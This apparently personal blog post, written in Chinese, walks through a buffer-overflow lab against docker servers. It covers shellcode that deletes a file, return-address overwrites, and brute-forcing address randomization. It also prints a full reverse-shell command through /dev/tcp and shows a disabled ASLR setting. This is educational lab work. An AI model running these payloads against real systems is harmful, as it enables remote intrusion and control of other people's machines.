# 缓冲区溢出原理

# 环境搭建

首先关闭地址随机化

sudo /sbin/sysctl -w kernel.randomize_va_space=0

切换到 server-code 目录下编译存在缓冲区溢出漏洞的程序,并将二进制文件复制到 bof-containers 文件夹中

cd server-code
make
make install

回到 Labsetup 目录下,执行以下命令,部署并启动 docker 环境

cd ..
dcbuild
dcup


# Task 1: Get Familiar with the Shellcode

Task 1 需要修改 shellcode,让它执行删除文件的操作
shellcode 文件夹中提供了两个 py 文件,运行后分别会输出 32 位和 64 的二进制机器码文件 codefile_32codefile_64
然后运行 Makefile 编译出可执行文件,运行查看结果

查看 32 位程序的 python 的源代码
假设要删除的文件名为 delete_target ,则删除的命令为 /bin/rm -f delete_target
修改这行代码,并且不能改变 shellcode 的长度,因此填充空格将 * 对齐
编译生成新的可执行文件,并创建一个 delete_target ,然后运行 a32.out ,文件成功被删除

# Task 2: Level-1 Attack

新开一个终端界面,切换至 attack-code 目录,向服务端发送信息

echo hello  nc 10.9.0.5 9090
^C

docker 终端会显示 EBP 和 bof () 函数中 buffer 地址的值
10.9.0.5 上运行的程序设置了一个 517 字节的缓冲区,并且使用了 strcpy() 函数,所以如果接收的数据超过 517 字节则会触发缓冲区溢出漏洞
编辑 exploit.py ,将上一步 shellcode_32.py 中的 shellcode 复制到对应位置
修改变量 startretoffset 的值

运行 exploit.py 生成 badfile ,然后使用 cat badfile 的方式发送至服务器

./exploit.py
cat badfile  nc 10.9.0.5 9090


接下来修改 shellcode 在服务器上执行一个反弹 shell,相应的命令为

/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1

命令中, -i 参数表示启动一个交互式 bash, > /dev/tcp/x.x.x.x/xxxx 表示将输出发送到远程地址 x.x.x.xxxxx 端口 0 , 1 , 2 是特殊的文件描述符,分别表示:

  • 0: stdin ,标准输入
  • 1: stdout ,标准输出
  • 2: stderr ,标准错误输出

0<&12>&1 就表示将输入和错误输出都重定向到标准输出中 新建一个终端,使用 nc -lnv 9090 监听 9090 端口,然后发送新的 shellcode 至服务端

反弹 shell 成功连接到 nc 监听的端口

# Task 3: Level-2 Attack

连接至另一个服务端 10.9.0.6,同样先输入 echo hello nc 10.9.0.6 9090 然后 ctrl+c 结束

此时 docker 终端只显示了 buffer 的地址,没有显示 EBP 的值,但已知 buffer 的大小为 [100, 300] 区间内,所以可以将 100 到 308 内的每四字节都替换为返回地址 ret
重新编译并发送至服务器,可以看到 shellcode 成功执行

# Task 4: Level-3 Attack

Task 4 的目标机器为 10.9.0.7,首先发送 echo hello 查看服务器输出

可以看到,10.9.0.7 上运行的是 64 位的程序
根据实验手册中的描述,64 位程序的处理难点在于如何覆盖 64 位返回地址
64 位程序的实际可用地址为 0x00x00007FFFFFFFFFFF ,前两字节固定为 \x00 ,而 strcpy() 函数在复制时遇到 \x00 则会停止,所以 ret 应使用小端位序,将 \x00 字节放在后面
编辑 exploit.py ,首先复制 shellcode_64.py 中的 64 位 shellcode
修改 startretoffsetcontent


发送至服务器,shellcode 成功执行

# Task 5: Level-4 Attack

首先发送 echo hello,查看服务器的输出

对比 task4 的程序,task5 程序的 RBP 值和 buffer 地址之间的间隔变小了
修改 exploit.py ,将 ret 的值设为 RBP+nn 是 [1184, 1424] 之间的值,取 n=1200 (原理暂不清楚)


# Task 6: Experimenting with the Address Randomization

首先打开地址随机化

sudo sysctl -w kernel.randomize_va_space=2

向 10.9.0.5 服务器发送两次 echo hello 信息,可以看到每次运行时的地址都不一样
在 32 位程序中,只有 19 位地址可以被用作地址随机化,这个规模其实并不大,可以通过爆破的方式破解
利用 Task 2 中的 shellcode 和 attack-code 目录下的 brute-forth.sh 脚本进行攻击
爆破尝试了 32419 次后成功执行了反弹 shell

# Task 7: Experimenting with Other Countermeasures

# StackGuard 保护机制

进入 server-code 目录,编辑 Makefile ,去除 -fno-stack-protector 选项,重新编译生成可执行文件
badfile 作为 stack-L1 的输入

./stack-L1 < ../attack-code/badfile

显示检测到了 stack smashing,程序停止运行

# 不可执行栈

进入 shellcode 文件夹,编辑 Makefile ,去除 -z execstack 选项,重新编译生成可执行文件
此时编译出的两个程序都无法正常运行

此文章已被阅读次数:正在加载...更新于

请我喝[茶]~( ̄▽ ̄)~*

2rrrr 微信支付

微信支付

2rrrr 支付宝

支付宝